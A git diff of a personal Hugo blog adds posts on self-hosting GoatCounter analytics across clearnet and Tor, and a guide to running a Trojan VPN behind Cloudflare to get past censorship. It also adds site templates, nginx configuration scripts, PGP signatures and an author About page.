"busuanzi|vercount|vercount_value_|busuanzi_value_" . +``` +Remove any matching ` + + + +``` + +Style so meta items stay inline with middle dots (PaperMod‑like). Put this in `assets/css/extended/goatcounter.css`: +```css +.post-single .post-header .post-meta, +.post-single .post-header .entry-meta, +.post-entry .entry-footer, +.post-entry .post-meta { + display:flex; align-items:center; flex-wrap:wrap; gap:.35rem; +} +.post-single .post-header .post-meta > *, +.post-single .post-header .entry-meta > *, +.post-entry .entry-footer > *, +.post-entry .post-meta > * { + display:inline-flex; align-items:center; white-space:nowrap; +} +.post-single .post-header .post-meta > * + *::before, +.post-single .post-header .entry-meta > * + *::before, +.post-entry .entry-footer > * + *::before, +.post-entry .post-meta > * + *::before { + content:"·"; margin:0 .5rem; opacity:.6; +} +.post-views-bottom { margin:.6rem 0 0; opacity:.75; font-size:.95em; } +``` + +--- + +### 6) Count Tor (.onion) visits **into the same site** +In the **.onion** server block, proxy GoatCounter endpoints to the same site by forcing the Host header: + +```nginx +# inside: server { ... } for fjthpp2h3mj2r....onion + +location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; # onion is http +} + +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; + add_header Cache-Control "no-store"; + proxy_no_cache 1; proxy_cache_bypass 1; +} +``` + +Because the loader above sets `window.goatcounter.endpoint` to `/count` on `.onion`, both **hits** and **reads** stay on the onion origin and are tallied into the same GoatCounter site. + +> **Note on DNT/Tor:** Tor Browser sends `DNT: 1`. GoatCounter respects DNT by default, so Tor users won’t be counted unless you disable “Respect Do Not Track” in GoatCounter settings. Your choice; I left the code compatible either way. + +--- + +### 7) Troubleshooting quick notes +- **400 “no site at this domain”** → create the site with `-vhost=statsblog.alipourimjourneys.ir` or fix your proxy `Host` header. +- **Counts don’t change on onion** → verify Tor path via `torsocks`, watch logs: + ```bash + docker compose logs -f goatcounter + # look for “ignored: bot” (curl UA), or DNT being respected + ``` +- **DevTools sanity** → on clearnet you should see `https://statsblog…/count` and `…/counter/*.json`; on onion you should see `/count` and `/counter/*.json` (same‑origin). + +That’s it. One dashboard; clearnet + onion both increment; tiny inline counters everywhere. + + +Honestly, self-hosting GoatCounter wasn't as straightforward as I thought it would be. It almost made me cry a few times. I definitly thought about my life choices a few times along the way. But oh well, now it's done and dusted, and I'm a happy puppy! :D + +--- + +{{< sigdl >}} diff --git a/content/posts/vpn.asc b/content/posts/vpn.asc new file mode 100644 index 0000000..61d3708 --- /dev/null +++ b/content/posts/vpn.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAsYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qxN4QAJvcmo9uQXTpPSE6AUa53k/i +aCyquJMY44qCUgaw3/LDlRYsXsrLpI9sG89hfLfqxq1L3nEBrvtLyRdp+UiNSBFh +TcETYJQkajXE/BRnboSQ3fMoA163GRYTPdIOhlximKZrEqiYl6IqFZBJXLvcELJC +nNmQ5Wo61Bxi/+relQvCbXwISpFwDxZjcEIP6p4dTSIqAXMPzCRShJcGbswDSYDq +KuzK4HvB6YSeMolyAmDONTgb9V35fAzeWjYVqRM6r/WaBjgjaJE8x/d/Jb8zghjb +YdQc256bqEBjd7KCxmBE/828yJUd5hhdVX16i59NdnvdywoemAmV7bvR1pbFrnEA +GWWSF7Xl33c90Z39GGD7tCHuKKRS95s7DpL1g+fGtAvCnYfyvaCpp8i8DAZf24WL +v0Il/pBwQDddrYuCGmNCU1s28pr5FzAGxbjtIgrnd2qppcYOfMsccW7qDDNLaQu5 +cCAGqlohuPUsieuqArWnCqvreTdGHH/WLCwKtAroS7NzTcJN5lvX656gdRvjGgnU +NXBDojkEq+xufE8QEEs/Ea2Cck2/c3y0cI4AcQwSw8sEPYqD6Mzke/2asm0MYmXw +OVVcvGH6+6xsSWS5SBMrQ4vT0c5//eNHe6iSqSKz8Sf08sq+DB6qlFLpGZ34RFcd +rJJcAi3T+TfWWP2WoFIi +=tFX5 +-----END PGP SIGNATURE----- diff --git a/content/posts/vpn.md b/content/posts/vpn.md new file mode 100644 index 0000000..e4c2115 --- /dev/null +++ b/content/posts/vpn.md @@ -0,0 +1,177 @@ +--- +title: "Stealth Trojan VPN Behind Cloudflare Guide" +date: 2025-09-09T11:05:00+02:00 +draft: false +tags: ["VPN", "Trojan", "Cloudflare", "Xray", "3x-ui", "Bypass", "Privacy", "Debugging"] +categories: ["Guides"] +--- + +## Introduction +So you want a VPN that **doesn't scream "I am a VPN"** to every censor and firewall out there? +Welcome to the world of **Trojan over WebSocket + TLS behind Cloudflare**. + +This guide not only shows you how to set it up but also sprinkles in some **debugging magic** so you can figure out why things break (and they *will* break, trust me). + +We’ll anonymise domains and secrets, so substitute with your own: +- VPN domain: `web.example.com` +- Panel domain: `panel.example.com` +- Secret WS path: `/stealth-path_abcd1234` +- Password: `` + +--- + +## Architecture at a Glance +Think of it as a disguise party: + +- **Trojan** = the shy guest (your VPN protocol) +- **Nginx** = the bouncer checking IDs (reverse proxy) +- **Cloudflare** = the doorman who makes sure nobody sees who's inside (CDN & proxy) +- **Your fake website** = the mask (camouflage page) + +Traffic flow: +``` +Client → Cloudflare (443) → Nginx (443) → Trojan (localhost:54321) +``` + +--- + +## Step 1: Panel Setup (`panel.example.com`) +- Bind the 3x-ui panel to localhost (e.g., `127.0.0.1:46309`). +- Choose a funky **web base path** like `/panel-bananas_42/`. +- Proxy it through Nginx with HTTPS + Basic Auth. +- Test it at `https://panel.example.com/panel-bananas_42/`. + +**Pro tip:** If you see a blank page → your base path is mismatched or Nginx is eating it. Check logs! + +--- + +## Step 2: Trojan Inbound +In 3x-ui, create a Trojan inbound: +- Local port: `54321` +- Transport: WebSocket +- Path: `/stealth-path_abcd1234` +- Security: none +- Password: `` + +--- + +## Step 3: Nginx for VPN Domain (`web.example.com`) +Your Nginx is the gatekeeper. Sample config: + +```nginx +server { + listen 443 ssl http2; + server_name web.example.com; + + ssl_certificate /etc/letsencrypt/live/web.example.com/fullchain.pem; + ssl_certificate_key /etc/letsencrypt/live/web.example.com/privkey.pem; + + # Fake website at root + location / { + root /var/www/html; + index index.html; + } + + # Real VPN under secret WS path + location /stealth-path_abcd1234 { + proxy_pass http://127.0.0.1:54321; + proxy_http_version 1.1; + proxy_set_header Upgrade $http_upgrade; + proxy_set_header Connection "upgrade"; + proxy_set_header Host $host; + } +} +``` + +--- + +## Step 4: Firewall Rules +Lock things down! Only Cloudflare should reach you: +```bash +ufw allow 22/tcp +ufw allow 80/tcp +ufw allow 443/tcp +ufw deny 54321/tcp +``` + +--- + +## Step 5: Client Config +Trojan URI: +``` +trojan://@web.example.com:443?type=ws&security=tls&host=web.example.com&path=%2Fstealth-path_abcd1234&sni=web.example.com#MyStealthVPN +``` + +iOS clients: Shadowrocket, Stash, FoXray +Android clients: v2rayNG, Clash Meta, NekoBox + +--- + +## Debugging Time (a.k.a. “Why the heck doesn’t it work?!”) + +### Symptom: **520 Unknown Error (Cloudflare)** +- Likely cause: Nginx couldn’t talk to Trojan. +- Check Nginx error log: + ```bash + tail -n 50 /var/log/nginx/error.log + ``` +- If you see `upstream sent no valid HTTP/1.0 header` → you’re mixing HTTPS/HTTP between Nginx and Trojan. + +--- + +### Symptom: **526 Invalid SSL certificate** +- Cloudflare → Nginx cert mismatch. +- Run: + ```bash + openssl s_client -connect web.example.com:443 -servername web.example.com -showcerts + ``` +- Make sure CN = `web.example.com`. If not, fix your cert. + +--- + +### Symptom: **Blank page on panel** +- Check if the base path matches exactly (case-sensitive, slash-sensitive). +- Watch for sneaky trailing spaces! +- Test locally: + ```bash + curl -s -D- http://127.0.0.1:46309/panel-bananas_42/ + ``` + +--- + +### Symptom: **Client won’t connect** +- Run a WebSocket test: + ```bash + curl -i -k -H "Connection: Upgrade" -H "Upgrade: websocket" https://web.example.com/stealth-path_abcd1234 + ``` + Expect `101 Switching Protocols`. If not, check Nginx config. + +--- + +### Symptom: **Censor still blocks you** +- Did you expose another service (like SSH, Matrix, or Minecraft) on the same IP? + → They’ll find your origin IP. Use a second VPS or lock those ports down. +- Did you use an obvious path like `/ws`? + → Use a random-looking one like `/cdn-assets-329df/`. + +--- + +## Pro Tips & Fun Tricks +- Serve a fake blog or portfolio at root so your domain looks legit. +- Rotate WebSocket paths occasionally. +- Use Cloudflare **Page Rules** to disable Rocket Loader & Minify for your VPN domain. +- Make friends with your Nginx error.log — it will roast you but it tells the truth. + +--- + +## Conclusion +By putting Trojan behind Cloudflare, you’ve given your VPN a shiny new disguise: +- Looks like normal HTTPS. +- Hides your origin IP. +- Forces censors into a tough choice: block Cloudflare (and half the web) or let you pass. + +Congrats — you’ve built a VPN with both **style** and **stealth**. 🥷 + +--- + +{{< sigdl >}} diff --git a/hugo.toml b/hugo.toml new file mode 100644 index 0000000..c4bd6d3 --- /dev/null +++ b/hugo.toml @@ -0,0 +1,61 @@ +baseURL = "http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/" +title = "Iman's personal blog!" +theme = "PaperMod" + +enableRobotsTXT = true +relativeURLs = false # keeps links working before you set baseURL +# canonifyURLs = true # leave off unless you want absolute URLs from baseURL + +[pagination] + pagerSize = 5 + +[outputs] + home = ["HTML", "RSS", "JSON"] # JSON optional (search, etc.) + section = ["HTML", "RSS"] + taxonomy = ["HTML", "RSS"] + term = ["HTML", "RSS"] + +[services] + [services.rss] + # -1 = no limit; or set a number like 20 + limit = -1 + + +[params] + mainSections = ["posts", "phd_journey"] + defaultTheme = "auto" + showReadingTime = true + showPostNavLinks = true + showBreadCrumbs = true + showCodeCopyButtons = true + disableSpecial1stPost = true + comments = true + commentsProviderDefault = "isso" + author = "Iman Alipour" + + # PaperMod RSS options: + ShowRssButtonInSectionTermList = true # show RSS icon on section/taxonomy pages + ShowFullTextinRSS = true # full post content in RSS (optional) + +[[params.socialIcons]] + name = "rss" + url = "/index.xml" + +[params.assets] + favicon = "favicon.ico" + favicon16x16 = "favicon-16x16.png" + favicon32x32 = "favicon-32x32.png" + +# Top menu +[[menu.main]] + name = "Posts" + url = "/posts/" + weight = 10 +[[menu.main]] + name = "PhD_journey" + url = "/PhD_journey/" + weight = 20 +[[menu.main]] + name = "About" + url = "/about/" + weight = 30 diff --git a/layouts/_default/_markup/render-codeblock-mermaid.html b/layouts/_default/_markup/render-codeblock-mermaid.html new file mode 100644 index 0000000..770462b --- /dev/null +++ b/layouts/_default/_markup/render-codeblock-mermaid.html @@ -0,0 +1,3 @@ +{{ .Page.Store.Set "hasMermaid" true }} +
{{ .Inner }}
+ diff --git a/layouts/partials/comments.html b/layouts/partials/comments.html new file mode 100644 index 0000000..eb7d3ee --- /dev/null +++ b/layouts/partials/comments.html @@ -0,0 +1,117 @@ +
+ + + Open on GitHub ↗ +
+ + + + + + + +
+
+ +
+ + + Comments powered by Isso + +
+ + + diff --git a/layouts/partials/extend_footer.html b/layouts/partials/extend_footer.html new file mode 100644 index 0000000..7a4e7b1 --- /dev/null +++ b/layouts/partials/extend_footer.html @@ -0,0 +1,17 @@ +{{/* Only load Isso's count script on list-like pages */}} +{{ $k := .Kind }} +{{ if or (eq $k "home") (eq $k "section") (eq $k "taxonomy") (eq $k "term") }} + +{{ end }} + +
+ + {{ partial "svg.html" (dict "name" "rss") }} + RSS + + + + + Visitors this week: +
diff --git a/layouts/partials/extend_head.html b/layouts/partials/extend_head.html new file mode 100644 index 0000000..0c31ed5 --- /dev/null +++ b/layouts/partials/extend_head.html @@ -0,0 +1,102 @@ + + + diff --git a/layouts/partials/post_meta.html b/layouts/partials/post_meta.html new file mode 100644 index 0000000..83434be --- /dev/null +++ b/layouts/partials/post_meta.html @@ -0,0 +1,33 @@ +{{- $scratch := newScratch }} + +{{- if not .Date.IsZero -}} +{{- $scratch.Add "meta" (slice (printf "%s" (.Date) (.Date | time.Format (default "January 2, 2006" site.Params.DateFormat)))) }} +{{- end }} + +{{- if (.Param "ShowReadingTime") -}} +{{- $scratch.Add "meta" (slice (i18n "read_time" .ReadingTime | default (printf "%d min" .ReadingTime))) }} +{{- end }} + +{{- if (.Param "ShowWordCount") -}} +{{- $scratch.Add "meta" (slice (i18n "words" .WordCount | default (printf "%d words" .WordCount))) }} +{{- end }} + +{{- if not (.Param "hideAuthor") -}} +{{- with (partial "author.html" .) }} +{{- $scratch.Add "meta" (slice .) }} +{{- end }} +{{- end }} + +{{- with ($scratch.Get "meta") }} +{{- delimit . " · " | safeHTML -}} +{{- end -}} + +{{/* Isso comment count on list views */}} +{{ if or .Site.Home.IsHome .IsSection .IsTaxonomy .IsTerm }} + + + +{{ end }} + diff --git a/layouts/shortcodes/mermaid.html b/layouts/shortcodes/mermaid.html new file mode 100644 index 0000000..8c46e09 --- /dev/null +++ b/layouts/shortcodes/mermaid.html @@ -0,0 +1,8 @@ +{{ if not (.Page.Store.Get "mermaidLoaded") }} + + + {{ .Page.Store.Set "mermaidLoaded" true }} +{{ end }} + +
{{- .Inner -}}
+ diff --git a/layouts/shortcodes/pgpkey.html b/layouts/shortcodes/pgpkey.html new file mode 100644 index 0000000..815a884 --- /dev/null +++ b/layouts/shortcodes/pgpkey.html @@ -0,0 +1,7 @@ +{{- /* pgpkey — show your ASCII-armored public key from static/keys/iman-alipour-pgp.asc */ -}} +{{- $path := .Get 0 | default "static/keys/iman-alipour-pgp.asc" -}} +{{- $key := readFile $path | htmlEscape -}} +
+ Show ASCII-armored key +
{{$key}}
+
diff --git a/layouts/shortcodes/sig.html.bak b/layouts/shortcodes/sig.html.bak new file mode 100644 index 0000000..3083e02 --- /dev/null +++ b/layouts/shortcodes/sig.html.bak @@ -0,0 +1,9 @@ +{{- /* Usage: {{< sig >}} or {{< sig "name.asc" >}}. Reads from .Page.File.Dir */ -}} +{{- $name := .Get 0 | default "signature.asc" -}} +{{- $dir := .Page.File.Dir -}} +{{- $sig := readFile (print $dir $name) | htmlEscape -}} +
+ OpenPGP signature (.asc) +
{{$sig}}
+
+

Verify: gpg --verify {{ $name }} {{ .Page.File.Path }}

diff --git a/layouts/shortcodes/sigdl.html b/layouts/shortcodes/sigdl.html new file mode 100644 index 0000000..0a53d04 --- /dev/null +++ b/layouts/shortcodes/sigdl.html @@ -0,0 +1,63 @@ +{{- /* sigdl — Download & Verify block for each post. + Usage: {{< sigdl >}} + Normalizes index.md/_index.md so links become /sources/.md +*/ -}} + +{{- /* Compute a normalized relative path for the source */ -}} +{{- $rel := replace .Page.File.Path "content/" "" -}} +{{- $rel = replace $rel "/index.md" ".md" -}} +{{- $rel = replace $rel "/_index.md" ".md" -}} + +{{- $download := printf "/sources/%s" $rel -}} +{{- $asc := printf "%s.asc" $download -}} +{{- $staticAscPath := printf "static%s.asc" $download -}} + +{{- $sig := "" -}} +{{- if (fileExists $staticAscPath) -}} + {{- $sig = (readFile $staticAscPath) | htmlEscape -}} +{{- end -}} + +{{/* Robust onion detection: + 1) prefer --environment onion + 2) else parse .Site.Params.isOnion (string-safe) + 3) else check baseURL contains ".onion" +*/}} +{{- $isOnion := eq hugo.Environment "onion" -}} +{{- if not $isOnion -}} + {{- with .Site.Params.isOnion -}} + {{- $v := (printf "%v" . | lower) -}} + {{- if or (eq $v "true") (eq $v "1") (eq $v "yes") (eq $v "on") -}} + {{- $isOnion = true -}} + {{- end -}} + {{- end -}} +{{- end -}} +{{- if and (not $isOnion) (in (lower (site.BaseURL)) ".onion") -}} + {{- $isOnion = true -}} +{{- end -}} + +
+

Downloads: + Markdown · + Signature (.asc) +

+ + {{- if $sig -}} +
+ View OpenPGP signature +
{{ $sig }}
+
+ {{- end -}} + +

Verify locally:

+
+{{- if $isOnion -}}
+torsocks curl -fSLO {{ $download | absURL }}
+torsocks curl -fSLO {{ $asc      | absURL }}
+{{- else -}}
+curl -fSLO {{ $download | absURL }}
+curl -fSLO {{ $asc      | absURL }}
+{{- end }}
+gpg --verify {{ path.Base $asc }} {{ path.Base $download }}
+  
+
+ diff --git a/ops/fix-goatcounter-nginx.sh b/ops/fix-goatcounter-nginx.sh new file mode 100755 index 0000000..e68b8c8 --- /dev/null +++ b/ops/fix-goatcounter-nginx.sh @@ -0,0 +1,97 @@ +#!/bin/bash +set -euo pipefail + +install -m 644 /dev/stdin /etc/nginx/conf.d/goatcounter-client-ip.conf <<'MAP' +# Prefer Cloudflare connecting IP when present (clearnet); else peer addr (onion/local). +map $http_cf_connecting_ip $gc_client_ip { + "" $remote_addr; + default $http_cf_connecting_ip; +} +MAP + +python3 - <<'PY' +from pathlib import Path + +blog = Path("/etc/nginx/sites-enabled/blog-https") +text = blog.read_text() +if "location = /count" not in text: + snippet = """ + # GoatCounter: same-origin proxy (shares site with onion) + location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $gc_client_ip; + proxy_set_header X-Real-IP $gc_client_ip; + proxy_set_header X-Forwarded-Proto $scheme; + } + + location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $gc_client_ip; + proxy_set_header X-Forwarded-Proto $scheme; + } + +""" + idx = text.rfind("}") + blog.write_text(text[:idx] + snippet + text[idx:]) + print("blog-https: added /count /counter") +else: + print("blog-https: already has /count") + +stats = Path("/etc/nginx/sites-enabled/stats.blog.alipourimjourneys.ir.conf") +st = stats.read_text() +old = "proxy_set_header X-Real-IP $remote_addr;\n proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;" +new = "proxy_set_header X-Real-IP $gc_client_ip;\n proxy_set_header X-Forwarded-For $gc_client_ip;" +if "$gc_client_ip" in st: + print("statsblog: already patched") +elif old in st: + stats.write_text(st.replace(old, new)) + print("statsblog: CF client IP") +else: + raise SystemExit("statsblog: unexpected content, edit manually") + +onion = Path("/etc/nginx/sites-enabled/onion-blog") +ot = onion.read_text() +# Update only goatcounter-related XFF lines (keep Isso as-is if different context) +ot2 = ot.replace( + """location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http; +} + +# reads for displaying numbers (JSON counters) +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; + proxy_set_header X-Forwarded-Proto http;""", + """location = /count { + proxy_pass http://127.0.0.1:8081/count; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $gc_client_ip; + proxy_set_header X-Real-IP $gc_client_ip; + proxy_set_header X-Forwarded-Proto http; +} + +# reads for displaying numbers (JSON counters) +location /counter/ { + proxy_pass http://127.0.0.1:8081/counter/; + proxy_set_header Host statsblog.alipourimjourneys.ir; + proxy_set_header X-Forwarded-For $gc_client_ip; + proxy_set_header X-Forwarded-Proto http;""", +) +if ot2 != ot: + onion.write_text(ot2) + print("onion-blog: client IP for goatcounter") +elif "$gc_client_ip" in ot: + print("onion-blog: already ok") +else: + print("onion-blog: WARN could not patch automatically") +PY + +nginx -t +systemctl reload nginx +echo "nginx reloaded OK" diff --git a/public-clearnet/404.html b/public-clearnet/404.html new file mode 100644 index 0000000..25be9ef --- /dev/null +++ b/public-clearnet/404.html @@ -0,0 +1,8 @@ +404 Page not found | AlipourIm journeys +
404
+RSS + +Visitors this week:
\ No newline at end of file diff --git a/public-clearnet/about/_index.asc b/public-clearnet/about/_index.asc new file mode 100644 index 0000000..5a515a4 --- /dev/null +++ b/public-clearnet/about/_index.asc @@ -0,0 +1,17 @@ +-----BEGIN PGP SIGNATURE----- + +iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfBIYHGltYW4uYWxp +cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0qdUoP/3q3aLm3OHFW8Rz2dn9zSg5B +lq/civd92tKb+w7k6PGQLuVwfhtsFQ8m/E2CLaDhkTMEoky3XA0zeLIxd3OzZFNr +su2tylM+AeyGBR221YyS8TxL2Iu/V3B0kJ1S6a3ODcipmrqWdBRIypEAvGMZq225 +eSK0DeBS65ySFknHbdV5dxV32UdIVT36tH+cLn99Ib2NF+mvhUHG9V7yXEe6WW6u +XGlguDo3ui94sqTB+pmba4RIwcN6uq702qO8+4CMrc/45KwQJx7lYmc/Vr4Ppzdw +PQCJTS0YSqOr8BpyYdgf0eGPmzX6TvwMfNEsWCN6HQG/N8b52M99fqYvGL4v5FX6 +3WEHyvjDj6cpHa66G0MIj1pmSZeIg85CgUlE90P3dDHLHE3x0jfHNs6l+qUdK7zn +RNyi/mbfpML/7jb9ia87Voa1ZJ5BdgwKOHUPJ38Z1OGGqN88OvDlnavBTpvNz7KM +P1PGU8ePcwXHRvK80XRSVJTF9hY5Oh4EBCFCKIV5IGPb20XUrp42tVp7MQYneMay +79szGdJkSVGHJ5TA8X0BpAY2Ughf9pTyzEzvs/gwDre8njIHwk40w9HmCYHEHiJX +PvtFHXoKfMvNvZVw2LspxrQV0nyx71jx8cM9t+7sT4pZ6Ri5D8nsXqUuIkwJI97Y +xXQ91IQKCkLmHuk0fBvw +=4p3w +-----END PGP SIGNATURE----- diff --git a/public-clearnet/about/index.html b/public-clearnet/about/index.html new file mode 100644 index 0000000..ac0b80d --- /dev/null +++ b/public-clearnet/about/index.html @@ -0,0 +1,72 @@ +About | AlipourIm journeys +

About

Iman Alipour — PhD candidate at MPI-INF. Human-centered security & privacy, usable security, and security measurement. Loves CTFs, hiking, coffee experiments, and making everyday gadgets smart.
Iman Alipour

Hey, I’m Iman 👋

I’m a PhD candidate at the Max Planck Institute for Informatics (MPI-INF) in the Internet Architecture group. I’m broadly fascinated by how people actually experience security and privacy online—and how we can design systems that protect them without asking for expert knowledge. My current work explores how emerging and existing technologies shape everyday users’ privacy and threaten their security, and how usable defenses can make a real difference.

I finished my B.Sc. in Computer Engineering at Sharif University of Technology in 2024, where I explored a mix of Machine Learning, Systems, Security, HCI, CPS, and IoT. For my bachelor thesis, I studied client selection in federated learning and proposed a reinforcement-learning–based method that balances accuracy, efficiency, and fairness while considering data quality and energy consumption.

What I’m into (research)

  • Censorship Circumvention
  • Human-centered Security & Privacy
  • Usable Security
  • Security Measurement
  • Emerging technologies and their effects on user privacy

A few things I’ve worked on

  • Federated learning client selection (B.Sc. thesis): A reinforcement-learning approach to optimize accuracy, efficiency, and fairness; accounts for end-user data quality and aims to reduce energy use.
  • Security & privacy perceptions of messaging platforms in Iran: Investigated trust and distrust in local platforms, identified root causes, and contrasted Iranian vs. non-Iranian platforms.

Hobbies & off-screen life

When I’m not chasing down research questions, you’ll likely find me:

  • 🎧 Listening to music and 🧩 playing CTFs
  • 📰 Reading the news and keeping active—any sport is fair game
  • 🥾 Hiking and 🌄 sight-seeing
  • Experimenting with coffee and 🍳 cooking
  • 🎲 Playing board games
  • 🔧 Fiddling with electronics: making everyday tools smart and remotely controllable with micro-controllers, sensors, and actuators
  • 📚 Reading books and happily getting lost in math & physics problems

Quick timeline

  • Aug 2024 – present: PhD candidate, MPI-INF, Internet Architecture group (Saarbrücken, Germany)
  • Jun 2023 – Jul 2024: Volunteer remote Research Assistant, InSPIRe Lab, Duke University
  • Sep 2023 – Feb 2024: Volunteer Research Assistant, CPS Lab, Sharif University of Technology
  • Feb 2023 – Sep 2023: Volunteer Research Assistant, RADIAN Lab, Sharif University of Technology
  • Jul 2022 – Sep 2022: Summer Intern, Rasta Scientific Group

Teaching I’ve helped with

Advanced Programming (2021) · Probabilities & Statistics (2022) · Operating Systems (2023) · Embedded Systems (2023) · Computer Simulation (two offerings, 2023)

Honors

  • Silver medal, Paya Math & Physics League — Tehran, Iran (Sep 2017)
  • 2nd place, Water Rocket Design Competition — Isfahan’s Math House (Sep 2015)

Contact

Max-Planck-Institut für Informatik
Saarland Informatics Campus — Campus E1 4, 66123 Saarbrücken
Office: E1 4 – 514 · Phone: +49 681 9325 3548


OpenPGP

Fingerprint: 55A2 A5DE 8479 2BAC C6CA EE3F B588 2850 E04C 8D2A

Show ASCII-armored key
-----BEGIN PGP PUBLIC KEY BLOCK-----
+
+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
